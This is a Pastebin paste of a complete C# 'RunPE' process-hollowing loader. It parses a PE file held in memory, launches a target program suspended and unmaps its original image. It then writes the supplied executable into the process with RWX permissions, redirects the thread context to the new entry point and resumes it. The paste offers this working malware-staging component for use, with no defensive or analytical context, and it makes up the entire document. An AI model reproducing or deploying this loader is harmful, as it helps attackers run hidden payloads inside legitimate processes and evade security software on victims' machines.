Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Runtime.InteropServices;
- using System.Security;
- [SuppressUnmanagedCodeSecurity]
- public static class Runpe
- {
- #region Win32 Funcs
- [DllImport("kernel32.dll")]
- static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
- [DllImport("kernel32.dll")]
- static extern bool CreateProcess(string lpApplicationName, string commandLine, int processAttributes, int threadAttributes,
- bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref STARTUPINFO startupInfo,
- out PROCESS_INFORMATION processInformation);
- [DllImport("kernel32.dll")]
- static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int dwSize, out int lpNumberOfBytesRead);
- [DllImport("kernel32.dll", SetLastError = true)]
- static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);
- [DllImport("kernel32.dll")]
- static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT lpContext);
- [DllImport("kernel32.dll")]
- static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT lpContext);
- [DllImport("kernel32.dll")]
- static extern int SuspendThread(IntPtr hThread);
- [DllImport("kernel32.dll")]
- static extern int ResumeThread(IntPtr hThread);
- [DllImport("kernel32.dll")]
- static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
- IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
- [DllImport("kernel32.dll")]
- static extern uint VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress,
- out MEMORY_BASIC_INFORMATION lpBuffer, int dwLength);
- [DllImport("kernel32.dll", SetLastError = true)]
- static extern IntPtr VirtualAlloc(IntPtr address, int numBytes, int commitOrReserve, int pageProtectionMode);
- [DllImport("ntdll.dll")]
- static extern int ZwUnmapViewOfSection(IntPtr hProcess, IntPtr BaseAddress);
- #endregion
- #region Proc & Mem Strucs
- [StructLayout(LayoutKind.Sequential)]
- struct PROCINFO
- {
- public uint baseAddr;
- public uint imageSize;
- }
- [StructLayout(LayoutKind.Sequential)]
- struct PROCESS_INFORMATION
- {
- public IntPtr hProcess;
- public IntPtr hThread;
- public int dwProcessId;
- public int dwThreadId;
- }
- [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
- struct STARTUPINFO
- {
- public Int32 cb;
- public string lpReserved;
- public string lpDesktop;
- public string lpTitle;
- unsafe fixed byte unused[52];
- }
- [StructLayout(LayoutKind.Sequential)]
- struct CONTEXT
- {
- public uint ContextFlags;
- unsafe fixed byte unused[160];
- public uint Ebx;
- public uint Edx;
- public uint Ecx;
- public uint Eax;
- unsafe fixed byte unused2[24];
- }
- [StructLayout(LayoutKind.Sequential)]
- struct MEMORY_BASIC_INFORMATION
- {
- public uint BaseAddress;
- public uint AllocationBase;
- public uint AllocationProtect;
- public uint RegionSize;
- public uint State;
- public uint Protect;
- public uint lType;
- }
- #endregion
- #region PE Structs
- [StructLayout(LayoutKind.Sequential)]
- struct MZHeader
- {
- public ushort signature;
- unsafe fixed byte unused[58];
- public uint offsetToPE;
- }
- [StructLayout(LayoutKind.Sequential)]
- struct PE_Header
- {
- public uint signature;
- public ushort machine;
- public ushort numSections;
- public uint timeDateStamp;
- public uint pointerToSymbolTable;
- public uint numOfSymbols;
- public ushort sizeOfOptionHeader;
- public ushort characteristics;
- };
- [StructLayout(LayoutKind.Sequential)]
- struct PE_ExtHeader
- {
- public ushort magic;
- public byte majorLinkerVersion;
- public byte minorLinkerVersion;
- public uint sizeOfCode;
- public uint sizeOfInitializedData;
- public uint sizeOfUninitializedData;
- public uint addressOfEntryPoint;
- public uint baseOfCode;
- public uint baseOfData;
- public uint imageBase;
- public uint sectionAlignment;
- public uint fileAlignment;
- unsafe fixed byte unused[16];
- public uint sizeOfImage;
- public uint sizeOfHeaders;
- unsafe fixed byte unused2[160];
- }
- [StructLayout(LayoutKind.Sequential)]
- struct SectionHeader
- {
- public long sectionName;
- public uint virtualSize;
- public uint virtualAddress;
- public uint sizeOfRawData;
- public uint pointerToRawData;
- unsafe fixed byte unused[16];
- }
- #endregion
- static unsafe int ReadPeInfo(byte[] data, out MZHeader mzH, out PE_Header peH, out PE_ExtHeader peXH, out SectionHeader[] secHdrs)
- {
- fixed (byte* dPtr = data)
- {
- int imgSize = -1;
- mzH = new MZHeader();
- peH = new PE_Header();
- peXH = new PE_ExtHeader();
- secHdrs = null;
- if (data.Length < sizeof(MZHeader))
- return imgSize;
- mzH = *(MZHeader*)dPtr;
- if (mzH.signature != 0x5a4d || data.Length < mzH.offsetToPE + sizeof(PE_Header))
- return imgSize;
- peH = *(PE_Header*)&dPtr[mzH.offsetToPE];
- if (peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
- return imgSize;
- peXH = *(PE_ExtHeader*)&dPtr[mzH.offsetToPE + sizeof(PE_Header)];
- secHdrs = new SectionHeader[peH.numSections];
- imgSize = (int)getAlignedSize(peXH.sizeOfHeaders, peXH.sectionAlignment);
- for (int i = 0; i < secHdrs.Length; i++)
- {
- secHdrs[i] = *(SectionHeader*)&dPtr[mzH.offsetToPE + sizeof(PE_Header) + sizeof(PE_ExtHeader) + (i * sizeof(SectionHeader))];
- if (secHdrs[i].virtualSize != 0)
- imgSize += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
- }
- return imgSize;
- }
- }
- static unsafe void LoadPe(byte[] peBytes, MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs, IntPtr memPtr)
- {
- byte* ptr = (byte*)(void*)memPtr;
- uint hdrSize = peXH.sizeOfHeaders;
- for (int i = 0; i < secHdrs.Length; i++)
- {
- if (secHdrs[i].pointerToRawData < hdrSize)
- hdrSize = secHdrs[i].pointerToRawData;
- }
- Marshal.Copy(peBytes, 0, memPtr, (int)hdrSize);
- ptr += (int)getAlignedSize(peXH.sizeOfHeaders, peXH.sectionAlignment);
- for (int i = 0, copySize; i < secHdrs.Length; i++)
- {
- if (secHdrs[i].sizeOfRawData > 0)
- {
- copySize = (int)(secHdrs[i].sizeOfRawData > secHdrs[i].virtualSize ? secHdrs[i].virtualSize : secHdrs[i].sizeOfRawData);
- Marshal.Copy(peBytes, (int)secHdrs[i].pointerToRawData, (IntPtr)ptr, copySize);
- ptr += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
- }
- else if (secHdrs[i].virtualAddress != 0)
- {
- ptr += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
- }
- }
- }
- static unsafe bool CreateChild(out PROCESS_INFORMATION pInfo, out PROCINFO cInfo, out CONTEXT ctx, string target)
- {
- STARTUPINFO sInfo = new STARTUPINFO();
- ctx = new CONTEXT { ContextFlags = 0x10007 };
- cInfo = new PROCINFO();
- if (CreateProcess(target, null, 0, 0, false, 4, IntPtr.Zero, null, ref sInfo, out pInfo))
- {
- GetThreadContext(pInfo.hThread, ref ctx);
- uint* pebInfo = (uint*)ctx.Ebx;
- int read = 0;
- fixed (PROCINFO* cInfoPtr = &cInfo)
- {
- ReadProcessMemory(pInfo.hProcess, (IntPtr)(&pebInfo[2]), (IntPtr)(&cInfoPtr->baseAddr), 4, out read);
- }
- uint curAddr = cInfo.baseAddr;
- MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION();
- while (VirtualQueryEx(pInfo.hProcess, (IntPtr)curAddr, out memInfo, sizeof(MEMORY_BASIC_INFORMATION)) != 0)
- {
- if (memInfo.State == 0x10000)
- break;
- curAddr += memInfo.RegionSize;
- }
- cInfo.imageSize = curAddr - cInfo.baseAddr;
- return true;
- }
- return false;
- }
- static unsafe bool DoFork(MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs, IntPtr memPtr, int imgSize, string target)
- {
- PROCESS_INFORMATION pInfo;
- CONTEXT ctx;
- PROCINFO cInfo;
- if (!CreateChild(out pInfo, out cInfo, out ctx, target))
- {
- return false;
- }
- IntPtr v = IntPtr.Zero;
- if (peXH.imageBase == cInfo.baseAddr && imgSize <= cInfo.imageSize)
- {
- v = (IntPtr)cInfo.baseAddr;
- uint oldP;
- VirtualProtectEx(pInfo.hProcess, (IntPtr)cInfo.baseAddr, (IntPtr)cInfo.imageSize, 0x40, out oldP);
- }
- else if (ZwUnmapViewOfSection(pInfo.hProcess, (IntPtr)cInfo.baseAddr) == 0)
- {
- v = VirtualAllocEx(pInfo.hProcess, (IntPtr)peXH.imageBase, (uint)imgSize, 0x3000, 0x40);
- }
- if (v != IntPtr.Zero)
- {
- uint* pebInfo = (uint*)ctx.Ebx;
- uint wrote = 0;
- WriteProcessMemory(pInfo.hProcess, (IntPtr)(&pebInfo[2]), (IntPtr)(&v), 4, out wrote);
- if (!WriteProcessMemory(pInfo.hProcess, v, memPtr, (uint)imgSize, out wrote))
- {
- return false;
- }
- ctx.Eax = (uint)((uint)v == cInfo.baseAddr ? peXH.imageBase + peXH.addressOfEntryPoint : v.ToInt32() + peXH.addressOfEntryPoint);
- SetThreadContext(pInfo.hThread, ref ctx);
- ResumeThread(pInfo.hThread);
- return true;
- }
- return false;
- }
- static uint getAlignedSize(uint curSize, uint alignment)
- {
- return curSize % alignment == 0 ? curSize : ((curSize / alignment) + 1) * alignment;
- }
- public static bool Run(byte[] data, string target)
- {
- if (data == null || target == null)
- {
- return false;
- }
- MZHeader mzH;
- PE_Header peH;
- PE_ExtHeader peXH;
- SectionHeader[] secHdrs;
- int imgSize = ReadPeInfo(data, out mzH, out peH, out peXH, out secHdrs);
- if (imgSize < 0)
- {
- return false;
- }
- IntPtr memPtr = VirtualAlloc(IntPtr.Zero, imgSize, 0x1000, 0x40);
- if (memPtr == IntPtr.Zero)
- {
- return false;
- }
- LoadPe(data, mzH, peH, peXH, secHdrs, memPtr);
- return DoFork(mzH, peH, peXH, secHdrs, memPtr, imgSize, target);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement